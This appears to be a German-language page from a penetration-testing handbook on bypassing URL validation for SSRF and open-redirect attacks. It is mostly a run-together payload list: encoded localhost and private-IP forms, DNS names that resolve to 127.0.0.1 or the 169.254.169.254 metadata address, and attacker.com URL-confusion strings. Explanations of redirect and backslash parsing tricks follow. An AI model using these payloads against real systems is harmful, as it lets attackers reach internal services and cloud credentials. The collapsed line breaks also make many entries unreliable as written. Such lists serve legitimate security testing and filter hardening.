# Localhosthttp://127.0.0.1:80http://127.0.0.1:443http://127.0.0.1:22http://127.1:80http://127.000000000000000.1http://0http:@0/-->http://localhost/http://0.0.0.0:80http://localhost:80http://[::]:80/http://[::]:25/SMTPhttp://[::]:3128/Squidhttp://[0000::1]:80/http://[0:0:0:0:0:ffff:127.0.0.1]/thefilehttp://①②⑦.⓪.⓪.⓪# CDIR bypasshttp://127.127.127.127http://127.0.1.3http://127.0.0.0# Dot bypass127。0。0。1127%E3%80%820%E3%80%820%E3%80%821# Decimal bypasshttp://2130706433/=http://127.0.0.1http://3232235521/=http://192.168.0.1http://3232235777/=http://192.168.1.1# Octal Bypasshttp://0177.0000.0000.0001http://00000177.00000000.00000000.00000001http://017700000001# Hexadecimal bypass127.0.0.1=0x7f000001http://0x7f000001/=http://127.0.0.1http://0xc0a80014/=http://192.168.0.200x7f.0x00.0x00.0x010x0000007f.0x00000000.0x00000000.0x00000001# Mixed encodings bypass169.254.43518 -> Partial Decimal (Class B) format combines the third and fourth parts of the IP address into a decimal number
0xA9.254.0251.0376 -> hexadecimal,decimalandoctal# Add 0s bypass127.000000000000.1# You can also mix different encoding formats# https://www.silisoftware.com/tools/ipconverter.php# Malformed and rarelocalhost:+11211aaalocalhost:00011211aaaahttp://0/http://127.1http://127.0.1# DNS to localhostlocaltest.me=127.0.0.1customer1.app.localhost.my.company.127.0.0.1.nip.io=127.0.0.1mail.ebc.apple.com=127.0.0.6 (localhost)127.0.0.1.nip.io=127.0.0.1 (Resolves tothegivenIP)www.example.com.customlookup.www.google.com.endcustom.sentinel.pentesting.us=Resolvestowww.google.comhttp://customer1.app.localhost.my.company.127.0.0.1.nip.iohttp://bugbounty.dod.network=127.0.0.2 (localhost)1ynrnhl.xip.io==169.254.169.254spoofed.burpcollaborator.net=127.0.0.1
Die Burp-ErweiterungBurp-Encode-IP implementiert IP-Formatumgehungen.
# Try also to change attacker.com for 127.0.0.1 to try to access localhost# Try replacing https by http# Try URL-encoded charactershttps://{domain}@attacker.comhttps://{domain}.attacker.comhttps://{domain}%6D@attacker.comhttps://attacker.com/{domain}https://attacker.com/?d={domain}https://attacker.com#{domain}https://attacker.com@{domain}https://attacker.com#@{domain}https://attacker.com%23@{domain}https://attacker.com%00{domain}https://attacker.com%0A{domain}https://attacker.com?{domain}https://attacker.com///{domain}https://attacker.com\{domain}/https://attacker.com;https://{domain}https://attacker.com\{domain}/https://attacker.com\.{domain}https://attacker.com/.{domain}https://attacker.com\@@{domain}https://attacker.com:\@@{domain}https://attacker.com#\@{domain}https://attacker.com\anything@{domain}/https://www.victim.com(\u2044)some(\u2044)path(\u2044)(\u0294)some=param(\uff03)hash@attacker.com# On each IP position try to put 1 attackers domain and the others the victim domainhttp://1.1.1.1&@2.2.2.2#@3.3.3.3/#Parameter pollutionnext={domain}&next=attacker.com
Paths and Extensions Bypass
Wenn erforderlich ist, dass die URL mit einem Pfad oder einer Erweiterung endet oder einen Pfad enthalten muss, können Sie einen der folgenden Bypässe ausprobieren:
Das Tool recollapse kann Variationen aus einem gegebenen Input generieren, um den verwendeten Regex zu umgehen. Überprüfen Sie auch diesen Beitrag für weitere Informationen.
Automatische benutzerdefinierte Wortlisten
Schauen Sie sich die URL-Validierungs-Bypass-Checkliste-Webanwendung von Portswigger an, wo Sie den erlaubten Host und den Angreifer-Host eingeben können, und es wird eine Liste von URLs generiert, die Sie ausprobieren können. Es wird auch berücksichtigt, ob Sie die URL in einem Parameter, in einem Host-Header oder in einem CORS-Header verwenden können.
Es könnte möglich sein, dass der Server die ursprüngliche Anfrage eines SSRF filtert, aber nicht eine mögliche Umleitungs-Antwort auf diese Anfrage.
Zum Beispiel könnte ein Server, der anfällig für SSRF über: url=https://www.google.com/ ist, den url-Parameter filtern. Aber wenn Sie einen Python-Server verwenden, um mit einem 302 zu antworten an den Ort, an den Sie umleiten möchten, könnten Sie in der Lage sein, gefilterte IP-Adressen wie 127.0.0.1 oder sogar gefilterte Protokolle wie gopher zu zugreifen.
Überprüfen Sie diesen Bericht.
Der backslash-trick nutzt einen Unterschied zwischen dem WHATWG URL Standard und RFC3986 aus. Während RFC3986 ein allgemeines Rahmenwerk für URIs ist, ist WHATWG spezifisch für Web-URLs und wird von modernen Browsern übernommen. Der entscheidende Unterschied liegt in der Anerkennung des Backslashes (\) im WHATWG-Standard als gleichwertig mit dem Schrägstrich (/), was die Art und Weise beeinflusst, wie URLs geparst werden, insbesondere den Übergang vom Hostnamen zum Pfad in einer URL markiert.
Linke eckige Klammer
Das Zeichen „linke eckige Klammer“ [ im Benutzerinfo-Segment kann dazu führen, dass Spring’s UriComponentsBuilder einen Hostnamenwert zurückgibt, der sich von dem der Browser unterscheidet: https://example.com[@attacker.com